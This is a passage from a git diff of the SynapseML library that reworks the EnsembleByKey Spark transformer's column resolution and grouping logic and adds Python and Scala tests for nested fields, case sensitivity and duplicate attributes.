resolveFromSchema( + schema, + parsedPath.take(pathStart), + parsedPath.drop(pathStart), + reference, + caseSensitive, + role, + dataset) } + } + } + + private def validateNonCollapsedKeys( + schema: StructType, + keyFields: Array[ResolvedField], + outputNames: Array[String], + caseSensitive: Boolean + ): Unit = { + val keyOutputCollisions = outputNames.filter(outputName => + keyFields.exists(resolved => + columnNamesMatch(resolved.field.name, outputName, caseSensitive))).distinct + require( + keyOutputCollisions.isEmpty, + s"Output columns ${keyOutputCollisions.mkString(", ")} cannot overwrite grouping keys " + + s"${keyFields.map(_.field.name).mkString(", ")} when collapseGroup is false") + + val nestedKeyCollisions = keyFields.filter(_.path.length > 1).filter(resolved => + schema.fields.exists(field => + columnNamesMatch(field.name, resolved.field.name, caseSensitive))) + require( + nestedKeyCollisions.isEmpty, + s"Nested grouping keys ${nestedKeyCollisions.map(_.reference).mkString(", ")} " + + "cannot overwrite top-level columns when collapseGroup is false") + + val duplicateNestedKeyNames = keyFields.indices.flatMap { leftIndex => + ((leftIndex + 1) until keyFields.length).collect { + case rightIndex + if columnNamesMatch( + keyFields(leftIndex).field.name, + keyFields(rightIndex).field.name, + caseSensitive) => + keyFields(leftIndex).field.name + } + }.distinct + require( + duplicateNestedKeyNames.isEmpty, + s"Grouping keys must resolve to distinct output columns when collapseGroup is false: " + + duplicateNestedKeyNames.mkString(", ")) + } + + private def getSchemaFields( + schema: StructType, + dataset: Option[Dataset[_]] = None + ): ResolvedColumns = { + val inputNames = get(cols).getOrElse( + throw new IllegalArgumentException("cols must be set and non-empty")) + val keyNames = get(keys).getOrElse( + throw new IllegalArgumentException("keys must be set and non-empty")) + require(inputNames.nonEmpty, "cols must be set and non-empty") + require(keyNames.nonEmpty, "keys must be set and non-empty") + val outputNames = get(colNames).getOrElse( + inputNames.map(name => s"$getStrategy($name)")) + require( + inputNames.length == outputNames.length, + s"cols (${inputNames.length}) and colNames (${outputNames.length}) must have the same length") + + val caseSensitive = dataset.map(_.sparkSession).orElse(SparkSession.getActiveSession) + .exists(_.conf.get("spark.sql.caseSensitive", "false").trim.toBoolean) + val inputFields = inputNames.map(resolveField(schema, _, caseSensitive, dataset, aggregateRole)) + val keyFields = keyNames.map(resolveField(schema, _, caseSensitive, dataset, keyRole)) + keyFields.foreach { key => + require(RowOrdering.isOrderable(key.field.dataType), + s"${key.reference} resolves to ${key.field.dataType}, which Spark cannot use as a grouping key") + } + if (!getCollapseGroup) { + validateNonCollapsedKeys(schema, keyFields, outputNames, caseSensitive) + } + + val aggregateFields = inputFields.zip(outputNames).map { case (resolvedInput, outputName) => + aggregateType(resolvedInput.field.dataType) + .map(aggregateField(outputName, _)) + .getOrElse(throw new IllegalArgumentException( + s"Cannot operate on type ${resolvedInput.field.dataType} with strategy $getStrategy")) + } + + ResolvedColumns(inputFields, outputNames, keyFields, aggregateFields, caseSensitive) + } + + private def bindQualifiers( + dataset: Dataset[_], + resolvedColumns: ResolvedColumns + ): ResolvedColumns = { + resolvedColumns.copy( + inputFields = resolvedColumns.inputFields.map(bindQualifier( + dataset, + _, + resolvedColumns.caseSensitive)), + keyFields = resolvedColumns.keyFields.map(bindQualifier( + dataset, + _, + resolvedColumns.caseSensitive))) + } + + private val quoteIdentifier = (name: String) => s"`${name.replace("`", "``")}`" + + private val inputName = (index: Int) => s"__ensemble_by_key_input_$index" + + private val keyName = (index: Int) => s"__ensemble_by_key_key_$index" + + private val aggregateName = (index: Int) => s"__ensemble_by_key_aggregate_$index" + + private val normalize = (dataset: Dataset[_]) => + dataset.toDF(dataset.schema.indices.map(inputName): _*) + + private def resolvedColumn(resolved: ResolvedField): Column = { + val root = col(quoteIdentifier(inputName(resolved.ordinals.head))) + resolved.path.tail.foldLeft(root) { (column, step) => + step.mapKeyType match { + case Some(keyType) => column(lit(step.name).cast(keyType)) + case None => column.getField(step.name) } + } + } - val aggregated = dataset.toDF() - .groupBy(getKeys.head, getKeys.tail: _*) - .agg(newCols.head, newCols.tail: _*) + // The identity cast prevents grouping analysis from propagating source metadata to the key. + private val keyColumn = (resolved: ResolvedField, index: Int) => + resolvedColumn(resolved).cast(resolved.field.dataType).as(keyName(index), resolved.field.metadata) + + private def aggregateColumn( + resolvedInput: ResolvedField, + outputName: String + ): Column = { + val inputColumn = resolvedColumn(resolvedInput) + aggregateType(resolvedInput.field.dataType) match { + case Some(fdt) if fdt == VectorType => Summarizer.mean(inputColumn).alias(outputName) + case Some(_) => mean(inputColumn).alias(outputName) + case None => throw new IllegalArgumentException( + s"Cannot operate on type ${resolvedInput.field.dataType} with strategy $getStrategy") + } + } + + private def aggregate( + dataset: Dataset[_], + normalized: DataFrame, + resolvedColumns: ResolvedColumns + ): DataFrame = { + val keyColumns = resolvedColumns.keyFields.zipWithIndex.map { case (r, i) => keyColumn(r, i) } + val newColumns = resolvedColumns.inputFields.zipWithIndex.map { case (resolvedInput, index) => + aggregateColumn(resolvedInput, aggregateName(index)) + } + val retainGroupColumns = dataset.sparkSession.conf + .get("spark.sql.retainGroupColumns", "true").trim.toBoolean + val aggregateColumns = if (retainGroupColumns) newColumns else keyColumns ++ newColumns + + normalized + .groupBy(keyColumns: _*) + .agg(aggregateColumns.head, aggregateColumns.tail: _*) + } + + private def outputKeyColumns(resolvedColumns: ResolvedColumns): Array[Column] = { + resolvedColumns.keyFields.zipWithIndex.map { case (resolved, index) => + col(quoteIdentifier(keyName(index))).as(resolved.field.name, resolved.field.metadata) + } + } + + private def outputAggregateColumns(resolvedColumns: ResolvedColumns): Array[Column] = { + resolvedColumns.outputNames.indices.map(index => + col(quoteIdentifier(aggregateName(index))).as(resolvedColumns.outputNames(index))).toArray + } + + private def passthroughColumns( + schema: StructType, + resolvedColumns: ResolvedColumns + ): Array[Column] = { + val topLevelKeyOrdinals = resolvedColumns.keyFields.filter(_.path.length == 1) + .map(_.ordinals.head).toSet + schema.fields.zipWithIndex.collect { + case (field, index) + if !topLevelKeyOrdinals(index) && + !resolvedColumns.outputNames.exists(outputName => + columnNamesMatch(field.name, outputName, resolvedColumns.caseSensitive)) => + col(quoteIdentifier(inputName(index))).as(field.name, field.metadata) + } + } + + private def mergeWithGroups( + normalized: DataFrame, + aggregated: DataFrame, + resolvedColumns: ResolvedColumns, + inputSchema: StructType + ): DataFrame = { + val leftKeys = resolvedColumns.keyFields.zipWithIndex.map { case (r, i) => keyColumn(r, i) } + val left = normalized.select((col("*") +: leftKeys.toSeq): _*) + val conditions = resolvedColumns.keyFields.indices.map(i => left(keyName(i)) <=> aggregated(keyName(i))) + val joined = left.join(aggregated, conditions.reduce(_ && _)).select( + (left.columns.map(left(_)) ++ resolvedColumns.outputNames.indices.map(i => + aggregated(aggregateName(i)))): _*) + val outputColumns = + outputKeyColumns(resolvedColumns) ++ + passthroughColumns(inputSchema, resolvedColumns) ++ + outputAggregateColumns(resolvedColumns) + joined.select(outputColumns: _*) + } + + override def transform(dataset: Dataset[_]): DataFrame = { + logTransform[DataFrame]({ + val resolvedColumns = bindQualifiers(dataset, getSchemaFields(dataset.schema, Some(dataset))) + val normalized = normalize(dataset) + val aggregated = aggregate(dataset, normalized, resolvedColumns) if (getCollapseGroup) { - aggregated + aggregated.select((outputKeyColumns(resolvedColumns) ++ + outputAggregateColumns(resolvedColumns)): _*) } else { - val needToDrop = getColNames.toSet & dataset.columns.toSet - dataset.drop(needToDrop.toList: _*).toDF().join(aggregated, getKeys) + mergeWithGroups(normalized, aggregated, resolvedColumns, dataset.schema) } }, dataset.columns.length) - } def transformSchema(schema: StructType): StructType = { - val colSet = getCols.toSet - val colToNewName = getCols.zip(getColNames).toMap - - val newFields = schema.fields.flatMap { f => - if (!colSet(f.name)) None - else { - val newField = StructField(colToNewName(f.name), f.dataType) - f.dataType match { - case _: DoubleType => Some(newField) - case _: FloatType => Some(newField) - case fdt if fdt == VectorType => Some(newField) - case t => throw new IllegalArgumentException(s"Cannot operate on type $t with strategy $getStrategy") - } + val resolvedColumns = getSchemaFields(schema) + val fields = if (getCollapseGroup) { + resolvedColumns.keyFields.map(_.field) ++ resolvedColumns.aggregateFields + } else { + val topLevelKeyOrdinals = resolvedColumns.keyFields.filter(_.path.length == 1) + .map(_.ordinals.head).toSet + val inputFields = schema.fields.zipWithIndex.collect { + case (field, index) + if !topLevelKeyOrdinals(index) && + !resolvedColumns.outputNames.exists(outputName => + columnNamesMatch(field.name, outputName, resolvedColumns.caseSensitive)) => + field } + resolvedColumns.keyFields.map(_.field) ++ inputFields ++ resolvedColumns.aggregateFields } - val keyFields = schema.fields.filter(f => colSet(f.name)) - val fields = - (if (getCollapseGroup) schema.fields else keyFields).++(newFields) - new StructType(fields) } diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKey.txt b/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKey.txt index 52d490f4f86..1d5f14fa329 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKey.txt +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKey.txt @@ -5,3 +5,21 @@ the first row of the column. To avoid materialization you can provide the vector through the ``setVectorDims`` function, which takes a mapping from columns (String) to dimension (Int). You can also choose to squash or keep the original dataset with the ``collapseGroup`` parameter. + +Column references support Spark field syntax, including dataset qualifiers, nested +struct paths, array-of-struct extraction, map extraction (the referenced segment is +cast from a string literal to the map key type, following Spark cast rules, and the +map key type must also be orderable because Spark looks map values up by key), and +backtick-quoted literal field names. Duplicate columns that Spark treats as one +expression resolve like a single column, union columns that Spark marks as duplicates +are pruned the same way Spark prunes them (only within the candidate set the requested +qualifier and name already selected, so a duplicate-marked ``u.group`` still wins over an +untagged ``v.group``), while references that match several distinct attributes are +rejected as ambiguous. Because a ``StructType`` does not retain dataset aliases, +``transformSchema`` cannot reject a qualifier that matches no dataset; ``transform`` +detects and reports that invalid qualifier when the analyzed dataset is available. +Schema-only case resolution similarly uses the active Spark session, while runtime +resolution uses the dataset session. If no matching active session exists and those +sessions use different ``spark.sql.caseSensitive`` values, pipeline schema validation +can differ from runtime resolution; keep the dataset session active while constructing +or validating a pipeline. diff --git a/core/src/test/python/synapsemltest/stages/__init__.py b/core/src/test/python/synapsemltest/stages/__init__.py new file mode 100644 index 00000000000..f780f4fea7e --- /dev/null +++ b/core/src/test/python/synapsemltest/stages/__init__.py @@ -0,0 +1,2 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. diff --git a/core/src/test/python/synapsemltest/stages/test_ensemble_by_key.py b/core/src/test/python/synapsemltest/stages/test_ensemble_by_key.py new file mode 100644 index 00000000000..ba470bf9cd7 --- /dev/null +++ b/core/src/test/python/synapsemltest/stages/test_ensemble_by_key.py @@ -0,0 +1,57 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +import tempfile +import unittest +from pathlib import Path + +from synapse.ml.core.init_spark import init_spark +from synapse.ml.stages import EnsembleByKey + +spark = init_spark() + + +class EnsembleByKeySpec(unittest.TestCase): + def test_col_names_follow_params_after_transform_and_load(self): + frame = spark.createDataFrame( + [("group", 1.0, 2.0), ("group", 3.0, 4.0)], + ["key", "score", "other"], + ) + with self.assertRaisesRegex(Exception, "keys must be set and non-empty"): + EnsembleByKey(keys=[], cols=["score"]).transform(frame) + with self.assertRaisesRegex(Exception, "cols must be set and non-empty"): + EnsembleByKey(keys=["key"], cols=[]).transform(frame) + + transformer = EnsembleByKey(keys=["key"], cols=["score"]) + + self.assertEqual(transformer.getColNames(), ["mean(score)"]) + self.assertFalse(transformer.isSet(transformer.colNames)) + self.assertFalse(transformer.hasDefault(transformer.colNames)) + transformer.transform(frame).collect() + self.assertFalse(transformer.isSet(transformer.colNames)) + self.assertFalse(transformer.hasDefault(transformer.colNames)) + + transformer.setCols(["score", "other"]) + self.assertEqual(transformer.getColNames(), ["mean(score)", "mean(other)"]) + + with tempfile.TemporaryDirectory() as directory: + model_path = str(Path(directory) / "ensemble-by-key") + transformer.write().save(model_path) + loaded = EnsembleByKey.load(model_path) + + self.assertEqual(loaded.getColNames(), ["mean(score)", "mean(other)"]) + self.assertFalse(loaded.isSet(loaded.colNames)) + self.assertFalse(loaded.hasDefault(loaded.colNames)) + + transformer.setColNames(["average-score", "average-other"]) + with tempfile.TemporaryDirectory() as directory: + model_path = str(Path(directory) / "ensemble-by-key-explicit") + transformer.write().save(model_path) + loaded = EnsembleByKey.load(model_path) + + self.assertEqual(loaded.getColNames(), ["average-score", "average-other"]) + self.assertTrue(loaded.isSet(loaded.colNames)) + + +if __name__ == "__main__": + unittest.main() diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeyResolutionSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeyResolutionSuite.scala new file mode 100644 index 00000000000..517b8efbaa8 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeyResolutionSuite.scala @@ -0,0 +1,163 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.stages + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.SparkException +import org.apache.spark.ml.Pipeline +import org.apache.spark.ml.linalg.{SQLDataTypes, Vector} +import org.apache.spark.sql.functions.{col, struct} +import org.apache.spark.sql.types.{DoubleType, IntegerType, Metadata, StringType, StructField, StructType} +import org.apache.spark.sql.{AnalysisException, DataFrame, Row} + +/** Covers the duplicate attribute resolution rules that EnsembleByKey mirrors from Spark's + * `AttributeSeq.resolve`. + */ +class EnsembleByKeyResolutionSuite extends TestBase { + + private val duplicateKey = "__is_duplicate" + + test("custom stage identifiers should not affect internal column resolution") { + val input = spark.createDataFrame(Seq(("group", 1.0), ("group", 3.0))).toDF("key", "score") + Seq("ensemble.by.key", "ensemble`by`key").foreach { uid => + val transformer = new EnsembleByKey(uid) + .setKey("key").setCol("score").setCollapseGroup(false) + assert(transformer.transformSchema(input.schema) === transformer.transform(input).schema) + } + } + + test("non-collapsed output should retain rows with null grouping keys") { + val schema = StructType(Array( + StructField("id", IntegerType, nullable = false), + StructField("key", StringType), + StructField("score", DoubleType, nullable = false))) + val missingKey = Option.empty[String].orNull + val input = spark.createDataFrame(java.util.Arrays.asList( + Row(0, missingKey, 1.0), + Row(1, missingKey, 3.0), + Row(2, "group", 5.0)), schema) + val transformed = new EnsembleByKey() + .setKey("key").setCol("score").setCollapseGroup(false).transform(input) + + assert(transformed.orderBy("id").collect().map(row => + (row.getInt(1), Option(row.getString(0)), row.getDouble(3))) === + Array((0, None, 2.0), (1, None, 2.0), (2, Some("group"), 5.0))) + } + + test("vector mean schema should match Spark for all-null inputs") { + val schema = StructType(Array( + StructField("key", StringType, nullable = false), + StructField("features", SQLDataTypes.VectorType))) + val missingVector = Option.empty[Vector].orNull + val input = spark.createDataFrame(java.util.Arrays.asList( + Row("group", missingVector), + Row("group", missingVector)), schema) + val transformer = new EnsembleByKey().setKey("key").setCol("features") + val transformed = transformer.transform(input) + + assert(transformer.transformSchema(input.schema) === transformed.schema) + assert(!transformed.schema("mean(features)").nullable) + intercept[SparkException](transformed.collect()) + } + + test("duplicated qualifier attributes should follow Spark expression identity") { + val base = spark.createDataFrame(Seq(("top", "nested", 1.0), ("top", "nested", 3.0))) + .toDF("group", "nestedGroup", "score") + val nestedGroup = struct(col("nestedGroup").alias("group")).alias("dup") + val shared = base.select(col("group"), col("group"), nestedGroup, col("score")) + val transformer = new EnsembleByKey().setKey("dup.group").setCol("score") + + assert(distinctExpressions(shared, "group") === 1) + Seq("dup" -> "top", "other" -> "nested").foreach { case (alias, expected) => + val transformed = assertSchemaAgrees(transformer, shared.as(alias)) + withClue(s"$alias: ") { + assert(transformed.head().getString(0) === expected) + assert(transformed.select("mean(score)").head().getDouble(0) === 2.0) + } + } + + val ambiguous = base.select(col("group"), nestedGroup, col("score")).as("dup") + .crossJoin(spark.createDataFrame(Seq(Tuple1("side"))).toDF("group").as("dup")) + assert(distinctExpressions(ambiguous, "group") === 2) + intercept[AnalysisException](ambiguous.select("dup.group")) + val error = intercept[IllegalArgumentException](transformer.transform(ambiguous)) + assert(error.getMessage.contains("dup.group is ambiguous")) + } + + test("duplicated unqualified attributes sharing one expression should aggregate") { + val base = spark.createDataFrame(Seq(("group", 1.0), ("group", 3.0))).toDF("key", "score") + val duplicated = base.select(col("key"), col("score"), col("score")) + val transformer = new EnsembleByKey().setKey("key").setCol("score") + + assert(duplicated.schema.fieldNames === Array("key", "score", "score")) + assert(distinctExpressions(duplicated, "score") === 1) + assert(duplicated.select("score").columns === Array("score")) + + val transformed = transformer.transform(duplicated) + assert(transformed.schema.fieldNames === Array("key", "mean(score)")) + assert(transformed.schema("mean(score)") === StructField("mean(score)", DoubleType)) + assert(transformed.head().getDouble(1) === 2.0) + + assert(transformer.transformSchema(duplicated.schema) === transformed.schema) + val pipelineModel = new Pipeline().setStages(Array(transformer)).fit(duplicated) + assert(pipelineModel.transform(duplicated).collect() === transformed.collect()) + } + + test("union duplicate attributes should follow Spark duplicate pruning") { + val base = spark.createDataFrame(Seq(("group", 1.0), ("group", 3.0))).toDF("key", "score") + val duplicated = base.select(col("key"), col("score"), col("score")) + val unioned = duplicated.union(duplicated) + assert(unioned.schema.fieldNames === Array("key", "score", "score")) + assert(unioned.schema.fields.last.metadata.contains(duplicateKey)) + assert(distinctExpressions(unioned, "score") === 2) + assert(unioned.select("score").columns === Array("score")) + + val transformed = assertSchemaAgrees(new EnsembleByKey().setKey("key").setCol("score"), unioned) + assert(transformed.schema.fieldNames === Array("key", "mean(score)")) + assert(transformed.head().getDouble(1) === 2.0) + + val qualified = assertSchemaAgrees( + new EnsembleByKey().setKey("key").setCol("u.score"), unioned.as("u")) + assert(qualified.schema.fieldNames === Array("key", "mean(u.score)")) + assert(qualified.head().getDouble(1) === 2.0) + } + + test("duplicate pruning should not override qualifier selection") { + // The only `group` attribute of `u` carries Spark's duplicate marker while `v.group` does not, + // so pruning before qualifier selection would silently resolve `u.group` to `v.group`. + val base = spark.createDataFrame(Seq(("u", 1.0), ("u", 3.0))).toDF("group", "score") + val duplicated = base.select(col("group"), col("group"), col("score")) + val tagged = duplicated.union(duplicated).toDF("other", "group", "score") + assert(tagged.schema("group").metadata.contains(duplicateKey)) + assert(!tagged.schema("other").metadata.contains(duplicateKey)) + + val untagged = spark.createDataFrame(Seq(Tuple1("v"))).toDF("group") + val joined = tagged.as("u").crossJoin(untagged.as("v")) + assert(joined.schema.fieldNames === Array("other", "group", "score", "group")) + assert(joined.select("u.group").head().getString(0) === "u") + + val transformed = assertSchemaAgrees( + new EnsembleByKey().setKey("u.group").setCol("score"), joined) + assert(transformed.schema.fieldNames === Array("group", "mean(score)")) + assert(transformed.schema("group").metadata === Metadata.empty) + assert(transformed.head().getString(0) === "u") + assert(transformed.head().getDouble(1) === 2.0) + + val nonCollapsed = new EnsembleByKey().setKey("u.group").setCol("score").setCollapseGroup(false) + val schemaError = intercept[IllegalArgumentException](nonCollapsed.transformSchema(joined.schema)) + val transformError = intercept[IllegalArgumentException](nonCollapsed.transform(joined)) + assert(schemaError.getMessage.contains("multiple columns are named group")) + assert(transformError.getMessage.contains("multiple columns are named group")) + } + + private def distinctExpressions(input: DataFrame, name: String): Int = { + input.queryExecution.analyzed.output.filter(_.name == name).map(_.exprId).distinct.length + } + + private def assertSchemaAgrees(transformer: EnsembleByKey, input: DataFrame): DataFrame = { + val transformed = transformer.transform(input) + assert(transformer.transformSchema(input.schema) === transformed.schema) + transformed + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeySuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeySuite.scala index 1a624cf4431..9fd5c993757 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeySuite.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeySuite.scala @@ -5,9 +5,14 @@ package com.microsoft.azure.synapse.ml.stages import com.microsoft.azure.synapse.ml.core.test.base.TestBase import com.microsoft.azure.synapse.ml.core.test.fuzzing.{TestObject, TransformerFuzzing} +import org.apache.spark.ml.Pipeline import org.apache.spark.ml.feature.VectorAssembler -import org.apache.spark.ml.linalg.DenseVector -import org.apache.spark.sql.DataFrame +import org.apache.spark.ml.linalg.{DenseVector, SQLDataTypes} +import org.apache.spark.sql.{AnalysisException, DataFrame, Row, SparkSession} +import org.apache.spark.sql.catalyst.expressions.{Cast, RowOrdering} +import org.apache.spark.sql.functions.{array, col, expr, lit, map, struct} +import org.apache.spark.sql.types.{CalendarIntervalType, DoubleType, MapType, Metadata, StringType, + StructField, StructType} class EnsembleByKeySuite extends TestBase with TransformerFuzzing[EnsembleByKey] { @@ -53,6 +58,623 @@ class EnsembleByKeySuite extends TestBase with TransformerFuzzing[EnsembleByKey] df1.show() } + test("transformSchema should match mixed aggregate output for default and explicit names") { + val input = mixedTypeDF + val inputNames = Array("doubleScore", "floatScore", "features") + val defaultNames = inputNames.map(name => s"mean($name)") + val explicitNames = Array("averageDouble", "averageFloat", "averageFeatures") + val keyNames = Array("group", "region") + + assert(input.schema("features").metadata !== Metadata.empty) + + Seq(defaultNames -> false, explicitNames -> true).foreach { case (outputNames, useExplicitNames) => + Seq(true, false).foreach { collapseGroup => + val transformer = new EnsembleByKey() + .setKeys(keyNames).setCols(inputNames).setCollapseGroup(collapseGroup) + if (useExplicitNames) { + transformer.setColNames(outputNames) + } + + val transformedSchema = transformer.transformSchema(input.schema) + val actualSchema = transformer.transform(input).schema + val expectedNames = if (collapseGroup) { + keyNames ++ outputNames + } else { + keyNames ++ input.columns.filterNot((keyNames ++ outputNames).contains) ++ outputNames + } + + withClue(s"explicitNames=$useExplicitNames, collapseGroup=$collapseGroup: ") { + assert(transformedSchema === actualSchema) + assert(actualSchema.fieldNames === expectedNames) + assert(actualSchema(outputNames(0)) === StructField(outputNames(0), DoubleType)) + assert(actualSchema(outputNames(1)) === StructField(outputNames(1), DoubleType)) + assert(actualSchema(outputNames(2)) === + StructField(outputNames(2), SQLDataTypes.VectorType, nullable = false)) + } + } + } + } + + test("non-collapsed output should overwrite numeric and vector columns") { + val input = mixedTypeDF + val overwrittenNames = Array("doubleScore", "floatScore", "features") + val transformer = new EnsembleByKey() + .setKeys("group", "region").setCols(overwrittenNames) + .setColNames(overwrittenNames).setCollapseGroup(false) + + val transformedSchema = transformer.transformSchema(input.schema) + val transformed = transformer.transform(input) + + assert(transformed.schema === transformedSchema) + assert(transformed.columns === + Array("group", "region", "id", "component1", "component2") ++ overwrittenNames) + assert(transformed.schema("features").metadata === Metadata.empty) + assert(!transformed.schema("features").nullable) + + val actual = transformed.orderBy("id") + .select("doubleScore", "floatScore", "features") + .collect() + .map(row => (row.getDouble(0), row.getDouble(1), row.getAs[DenseVector](2))) + val expected = Array( + (1.0, 1.0, new DenseVector(Array(1.0, 0.1))), + (2.0, 2.0, new DenseVector(Array(2.0, -2.5))), + (2.0, 2.0, new DenseVector(Array(2.0, -2.5)))) + + assert(actual === expected) + } + + test("non-collapsed output should replace case-variant columns consistently") { + val input = spark.createDataFrame(Seq((0, "group", 1.0, "lower", "upper"))) + .toDF("id", "key", "score", "features", "FEATURES") + + Seq(false -> Array("key", "id", "score", "features"), + true -> Array("key", "id", "score", "FEATURES", "features")) + .foreach { case (caseSensitive, expectedNames) => + withCaseSensitiveAnalysis(caseSensitive) { + val transformer = new EnsembleByKey() + .setKey("key").setCol("score").setColName("features").setCollapseGroup(false) + + val transformedSchema = transformer.transformSchema(input.schema) + val actualSchema = transformer.transform(input).schema + + assert(transformedSchema === actualSchema) + assert(actualSchema.fieldNames === expectedNames) + } + } + } + + test("default output names should follow updated input columns before transform") { + val transformer = new EnsembleByKey().setKeys("group", "region").setCol("doubleScore") + assert(transformer.getDefault(transformer.colNames).isEmpty) + transformer.transformSchema(mixedTypeDF.schema) + assert(transformer.getDefault(transformer.colNames).isEmpty) + assert(transformer.getColNames === Array("mean(doubleScore)")) + transformer.transform(mixedTypeDF) + assert(transformer.getDefault(transformer.colNames).isEmpty) + transformer.setCols("doubleScore", "floatScore") + + assert(transformer.transformSchema(mixedTypeDF.schema).fieldNames === + Array("group", "region", "mean(doubleScore)", "mean(floatScore)")) + assert(transformer.getColNames === Array("mean(doubleScore)", "mean(floatScore)")) + } + + test("grouping keys should resolve case-insensitively to input field names") { + withCaseSensitiveAnalysis(false) { + Seq(true, false).foreach { collapseGroup => + val transformer = new EnsembleByKey() + .setKeys("GROUP", "REGION").setCol("doubleScore").setCollapseGroup(collapseGroup) + + val transformedSchema = transformer.transformSchema(mixedTypeDF.schema) + val actualSchema = transformer.transform(mixedTypeDF).schema + + withClue(s"collapseGroup=$collapseGroup: ") { + assert(transformedSchema === actualSchema) + assert(actualSchema.fieldNames.take(2) === Array("GROUP", "REGION")) + } + } + } + } + + test("grouping key resolution should honor case-sensitive analysis") { + withCaseSensitiveAnalysis(true) { + val input = spark.createDataFrame(Seq(("lower", "upper", 1.0))) + .toDF("group", "GROUP", "score") + val transformer = new EnsembleByKey().setKey("group").setCol("score") + + assert(transformer.transformSchema(input.schema) === transformer.transform(input).schema) + + val error = intercept[IllegalArgumentException] { + new EnsembleByKey().setKey("Group").setCol("score").transformSchema(input.schema) + } + assert(error.getMessage.contains("Group does not exist")) + } + } + + test("transformSchema should match output when grouping column retention is disabled") { + withSQLConf("spark.sql.retainGroupColumns", "false") { + Seq(true, false).foreach { collapseGroup => + val transformer = new EnsembleByKey() + .setKeys("group", "region").setCol("doubleScore").setCollapseGroup(collapseGroup) + val transformedSchema = transformer.transformSchema(mixedTypeDF.schema) + val actualSchema = transformer.transform(mixedTypeDF).schema + + assert(transformedSchema === actualSchema) + assert(actualSchema.fieldNames.take(2) === Array("group", "region")) + } + } + } + + test("transform should use the dataset session for grouping column retention") { + val disabledSession = spark.newSession() + disabledSession.conf.set("spark.sql.retainGroupColumns", false) + val disabledInput = disabledSession.createDataFrame(Seq(("group", 1.0))).toDF("group", "score") + + withActiveSession(spark) { + val transformer = new EnsembleByKey().setKey("group").setCol("score") + assert(transformer.transformSchema(disabledInput.schema) === transformer.transform(disabledInput).schema) + } + + val enabledSession = spark.newSession() + enabledSession.conf.set("spark.sql.retainGroupColumns", true) + val enabledInput = enabledSession.createDataFrame(Seq(("group", 1.0))).toDF("group", "score") + + withSQLConf("spark.sql.retainGroupColumns", "false") { + withActiveSession(spark) { + val transformer = new EnsembleByKey().setKey("group").setCol("score") + val transformed = transformer.transform(enabledInput) + val pipelineModel = new Pipeline().setStages(Array(transformer)).fit(enabledInput) + + assert(transformer.transformSchema(enabledInput.schema) === transformed.schema) + assert(pipelineModel.transform(enabledInput).schema === transformed.schema) + assert(transformed.columns === Array("group", "mean(score)")) + } + } + } + + test("configuration parsing should match Spark boolean parsing") { + withSQLConf("spark.sql.caseSensitive", " false ") { + val transformer = new EnsembleByKey().setKey("GROUP").setCol("doubleScore") + assert(transformer.transformSchema(mixedTypeDF.schema) === transformer.transform(mixedTypeDF).schema) + } + + withSQLConf("spark.sql.retainGroupColumns", " true ") { + val transformer = new EnsembleByKey().setKey("group").setCol("doubleScore") + assert(transformer.transformSchema(mixedTypeDF.schema) === transformer.transform(mixedTypeDF).schema) + } + + withSQLConf("spark.sql.retainGroupColumns", " false ") { + val transformer = new EnsembleByKey().setKey("group").setCol("doubleScore") + assert(transformer.transformSchema(mixedTypeDF.schema) === transformer.transform(mixedTypeDF).schema) + } + } + + test("no active session should expose the documented case-resolution limitation") { + withSQLConf("spark.sql.caseSensitive", "true") { + val input = spark.createDataFrame(Seq((0, "group", 1.0, 2.0, 3.0))) + .toDF("id", "key", "score", "features", "FEATURES") + val transformer = new EnsembleByKey() + .setKey("key").setCol("score").setColName("features").setCollapseGroup(false) + val assembler = new VectorAssembler() + .setInputCols(Array("FEATURES")).setOutputCol("vector") + val pipeline = new Pipeline().setStages(Array(transformer, assembler)) + + withoutActiveSession { + val transformedSchema = transformer.transformSchema(input.schema) + val actualSchema = transformer.transform(input).schema + + assert(transformedSchema.fieldNames === Array("key", "id", "score", "features")) + assert(actualSchema.fieldNames === Array("key", "id", "score", "FEATURES", "features")) + val pipelineError = intercept[IllegalArgumentException](pipeline.fit(input)) + assert(pipelineError.getMessage.contains("FEATURES does not exist")) + } + pipeline.fit(input) + } + } + + test("transform should use the dataset session for column resolution") { + val sensitiveSession = spark.newSession() + sensitiveSession.conf.set("spark.sql.caseSensitive", true) + val sensitiveInput = sensitiveSession.createDataFrame(Seq(("group", 1.0))).toDF("group", "score") + + withCaseSensitiveAnalysis(false) { + val transformer = new EnsembleByKey().setKey("GROUP").setCol("SCORE") + assert(transformer.transformSchema(sensitiveInput.schema).fieldNames === Array("GROUP", "mean(SCORE)")) + assert(intercept[IllegalArgumentException](transformer.transform(sensitiveInput)) + .getMessage.contains("does not exist")) + } + + val insensitiveSession = spark.newSession() + insensitiveSession.conf.set("spark.sql.caseSensitive", false) + val insensitiveInput = insensitiveSession.createDataFrame(Seq(("group", 1.0))).toDF("group", "score") + + withCaseSensitiveAnalysis(true) { + val transformer = new EnsembleByKey().setKey("GROUP").setCol("SCORE") + assert(transformer.transform(insensitiveInput).schema.fieldNames === Array("GROUP", "mean(SCORE)")) + } + + withoutActiveSession { + val transformer = new EnsembleByKey().setKey("GROUP").setCol("SCORE") + assert(intercept[IllegalArgumentException](transformer.transform(sensitiveInput)) + .getMessage.contains("does not exist")) + } + } + + test("nested and quoted field references should match Spark resolution") { + val nestedInput = 